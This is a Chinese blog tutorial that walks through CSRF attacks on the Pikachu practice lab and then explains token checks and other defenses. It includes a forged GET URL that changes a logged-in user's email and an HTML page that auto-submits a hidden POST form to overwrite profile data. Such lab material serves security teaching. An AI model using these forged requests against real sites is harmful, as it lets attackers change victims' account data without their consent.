CSRF(以Pikachu为例)


前言

1.漏洞概述

CSRF:Cross-site request forgery
在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击也就完成了。
所以CSRF攻击也被称为“one click”攻击。

2.CSRF与XSS的区别

CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取了用户的权限,然后实施破坏。

3.如何确认一个web系统存在CSRF漏洞

(1)对目标网站增删改的地方进行标记,并观察其逻辑,判断请求是否可以被伪造

------比如修改管理员账号时,并不需要验证旧密码,导致请求容易被伪造;

------比如对于敏感信息的修改并没有使用安全的token验证,导致请求容易被伪造;

(2)确认凭证的有效期(这个问题会提高CSRF被利用的概率)

-----虽然退出或者关闭了浏览器,但cookie仍然有效,或者session并没有即使过期,导致CSRF攻击变得简单;


一、CSRF(get)

在这里插入图片描述

流程:

(1)登录账号(使用allen 123456),点击修改个人信息:

在这里插入图片描述
在这里插入图片描述
(2)打开Burp Suite,修改用户住址为beijing,点击提交,查看捕获的数据包:
(实际操作过程中,我们登录自己的账号修改资料也会得到数据包中关键信息)
在这里插入图片描述

在这里插入图片描述

(3)将红色框中的内容复制,可以构造我们想要的URL,如果将allen的邮箱改为[email protected]

http://127.0.0.1/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=13676767767&add=beijing&[email protected]&submit=submit HTTP/1.1

(4)保持allen的登录态,只要allen在登录态点击这个URL他的邮箱就会被修改:
新建标签页打开此URL:

在这里插入图片描述

刷新原来allen的登录态页面可以发现邮箱已经被修改:

在这里插入图片描述

二、CSRF(post)

在这里插入图片描述

流程:
(1)登录账号allen,开启Burp Suite后修改个人信息提交,查看捕获的数据包:

在这里插入图片描述

(2)编写一个表单页面csrfpost.php:

<html>
<head>
<script>
window.onload = function() {
    
    
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://127.0.0.1/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php">
    <input id="sex" type="text" name="sex" value="www" />
    <input id="phonenum" type="text" name="phonenum" value="9999999990" />
    <input id="add" type="text" name="add" value="hacker" />
    <input id="email" type="text" name="email" value="[email protected]" />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

测试时,可以将其放在pikachu目录的www下以便访问,或者放在其他服务器中。

(3)欺骗用户访问上述文件的URL:127.0.0.1/csrfpost.php
网页中会闪现一个表单页面,之后个人信息就被修改成了文件中对应的value值:

在这里插入图片描述

三、CSRF Token

Token是如何防止CSRF的?

CSRF的主要问题是敏感操作的链接容易被伪造,那么如何让这个链接不容易被伪造-----可以在每次请求时,都增加一个随机码(需要够随机,不容易被伪造),后台每次对这个随机码进行验证。

在这里插入图片描述

Token是如何工作的?

点击submit后,页面会自动访问后台的token_get_edit.php(删除旧token,生成新token),token值会传到前端代码中,且每次的token值不同:

在这里插入图片描述

在提交修改请求时,后台会校验token值是否一致,进而防止了CSRF:

在这里插入图片描述


防范措施

增加token验证(常用的做法)

对关键操作增加token参数,token值必须随机,每次都不一样;

关于安全的会话管理(避免会话被利用)

  1. 不要在客户端保存敏感信息(比如身份认证信息);
  2. 测试直接关闭页面退出时的会话过期机制;
  3. 设置会话过期机制,比如15分钟内无操作,则自动登录超时;

访问控制安全管理

  1. 敏感信息修改时需要对身份进行二次认证,如修改账号密码时,需要判断旧密码;
  2. 敏感信息的修改使用post,而不是get;
  3. 通过http头部中的referer来限制原页面;

增加验证码

一般用在登录(防暴力破解),也可以用在其他重要信息操作的表单中(需要考虑可用性)。

猜你喜欢

转载自blog.csdn.net/m0_46467531/article/details/108698285
今日推荐